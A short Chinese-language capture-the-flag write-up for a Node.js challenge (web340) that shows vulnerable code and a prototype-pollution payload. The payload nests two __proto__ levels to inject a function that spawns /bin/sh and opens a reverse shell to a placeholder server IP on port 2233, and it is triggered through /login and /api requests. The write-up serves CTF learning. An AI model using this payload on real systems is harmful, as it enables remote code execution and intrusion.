nodejs/v10.19.0
    题目描述处蓝奏云下载源码
    web340.zip

    提取关键部分

    1. var flag='flag_here';
    2. var user = new function(){
    3. this.userinfo = new function(){
    4. this.isVIP = false;
    5. this.isAdmin = false;
    6. this.isAuthor = false;
    7. };
    8. }
    9. utils.copy(user.userinfo,req.body);
    10. if(user.userinfo.isAdmin){
    11. res.end(flag);
    12. }

    image.png
    发现 userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象。

    和 web339 一样,只不过要套两层才能污染 Object 对象,同样用原生 socket,服务端监听端口为 2233

    1. {"__proto__":{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}

    同样 POST 一下 /login 接口污染 query 对象
    image.png

    POST 一下 /api 接口触发
    image.png
    获取 flag
    image.png